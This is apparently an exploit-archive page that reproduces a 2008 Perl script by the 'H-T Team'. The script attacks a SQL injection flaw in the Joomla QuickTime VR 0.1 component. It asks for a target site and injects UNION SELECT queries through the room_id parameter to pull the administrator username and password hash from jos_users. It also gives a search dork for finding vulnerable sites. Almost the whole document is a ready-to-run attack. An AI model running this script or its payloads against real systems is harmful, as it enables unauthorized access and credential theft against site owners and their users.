Joomla Component QuickTime VR 0.1 Remote SQL Injection Exploit

🗓️ 03 Jul 2008 00:00:00Reported by RootType
Joomla Component QuickTime VR 0.1 Remote SQL Injection Exploit by H-T Tea

                                                #!/usr/bin/perl&nbsp;-w

#&nbsp;&nbsp;&nbsp;Joomla&nbsp;Component&nbsp;QuickTime&nbsp;VR&nbsp;v&nbsp;0.1&nbsp;&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;#
########################################
#[*]&nbsp;Found&nbsp;by&nbsp;:&nbsp;Houssamix&nbsp;From&nbsp;H-T&nbsp;Team&nbsp;
#[*]&nbsp;H-T&nbsp;Team&nbsp;[&nbsp;HouSSaMix&nbsp;+&nbsp;ToXiC350&nbsp;]&nbsp;
#[*]&nbsp;Greetz&nbsp;:&nbsp;Mr.Al3FrItE&nbsp;&amp;&nbsp;Islamic&nbsp;Security&nbsp;Team&nbsp;&nbsp;&amp;&nbsp;Mounita20&nbsp;&amp;&nbsp;CoNaN&nbsp;and&nbsp;all&nbsp;musulmans&nbsp;hackers

#[*]&nbsp;Component_Name:&nbsp;&nbsp;QuickTime&nbsp;VR
#[*]&nbsp;Script_Name:&nbsp;Joomla
#[*]&nbsp;Dork&nbsp;:&nbsp;index.php?option=com_vr
########################################
#&nbsp;&lt;name&gt;QuickTime&nbsp;VR&lt;/name&gt;
#&nbsp;&lt;creationDate&gt;Januari&nbsp;2007&lt;/creationDate&gt;
#&nbsp;&lt;author&gt;Bob&lt;/author&gt;
#&nbsp;&lt;copyright&gt;Pictura&lt;/copyright&gt;
#&nbsp;&lt;authorEmail&gt;[email protected]&lt;/authorEmail&gt;
#&nbsp;&lt;authorUrl&gt;http://www.pictura-dp.nl/&lt;/authorUrl&gt;
#&nbsp;&nbsp;&lt;version&gt;0.1&lt;/version&gt;&nbsp;


system(&quot;color&nbsp;f&quot;);
print&nbsp;&quot;\t\t########################################################\n\n&quot;;
print&nbsp;&quot;\t\t#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Viva&nbsp;Islam&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n\n&quot;;
print&nbsp;&quot;\t\t########################################################\n\n&quot;;
print&nbsp;&quot;\t\t#&nbsp;Joomla&nbsp;Component&nbsp;QuickTime&nbsp;VR&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;&nbsp;&nbsp;#\n\n&quot;;
print&nbsp;&quot;\t\t#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;H-T&nbsp;Team&nbsp;[HouSSaMiX&nbsp;-&nbsp;ToXiC350]	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n\n&quot;;
print&nbsp;&quot;\t\t########################################################\n\n&quot;;

use&nbsp;LWP::UserAgent;

print&nbsp;&quot;\nEnter&nbsp;your&nbsp;Target&nbsp;(http://site.com/joomla/):&nbsp;&quot;;
	chomp(my&nbsp;$target=&lt;STDIN&gt;);

$uname=&quot;username&quot;;
$magic=&quot;jos_users&quot;;

$b&nbsp;=&nbsp;LWP::UserAgent-&gt;new()&nbsp;or&nbsp;die&nbsp;&quot;Could&nbsp;not&nbsp;initialize&nbsp;browser\n&quot;;
$b-&gt;agent('Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;7.0;&nbsp;Windows&nbsp;NT&nbsp;5.1)');

$host&nbsp;=&nbsp;$target&nbsp;.&nbsp;&quot;index.php?option=com_vr&amp;Itemid=78&amp;task=viewer&amp;room_id=-1%20union%20select%20concat(CHAR(60,117,115,101,114,62),&quot;.$uname.&quot;,CHAR(60,117,115,101,114,62)),2&nbsp;from/**/&quot;.$magic.&quot;/**&quot;;
$res&nbsp;=&nbsp;$b-&gt;request(HTTP::Request-&gt;new(GET=&gt;$host));
$answer&nbsp;=&nbsp;$res-&gt;content;

print&nbsp;&quot;\n[+]&nbsp;The&nbsp;Target&nbsp;:&nbsp;&quot;.$target.&quot;&quot;;

if&nbsp;($answer&nbsp;=~&nbsp;/&lt;user&gt;(.*?)&lt;user&gt;/){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
		print&nbsp;&quot;\n[+]&nbsp;Admin&nbsp;User&nbsp;:&nbsp;$1&quot;;
}
$host2&nbsp;=&nbsp;$target&nbsp;.&nbsp;&quot;index.php?option=com_vr&amp;Itemid=78&amp;task=viewer&amp;room_id=-1%20union%20select%20password,2/**/from/**/jos_users--&quot;;
$res2&nbsp;=&nbsp;$b-&gt;request(HTTP::Request-&gt;new(GET=&gt;$host2));
$answer&nbsp;=&nbsp;$res2-&gt;content;
if&nbsp;($answer&nbsp;=~/([0-9a-fA-F]{32})/){
		print&nbsp;&quot;\n[+]&nbsp;Admin&nbsp;Hash&nbsp;:&nbsp;$1\n\n&quot;;
		print&nbsp;&quot;#&nbsp;&nbsp;&nbsp;Exploit&nbsp;succeed!&nbsp;&nbsp;#\n\n&quot;;
}
else{print&nbsp;&quot;\n[-]&nbsp;Exploit&nbsp;Failed...\n&quot;;
}

#&nbsp;codec&nbsp;&nbsp;by&nbsp;Houssamix&nbsp;From&nbsp;H-T&nbsp;Team
03 Jul 2008 00:00Current
7.1High risk
Vulners AI Score7.1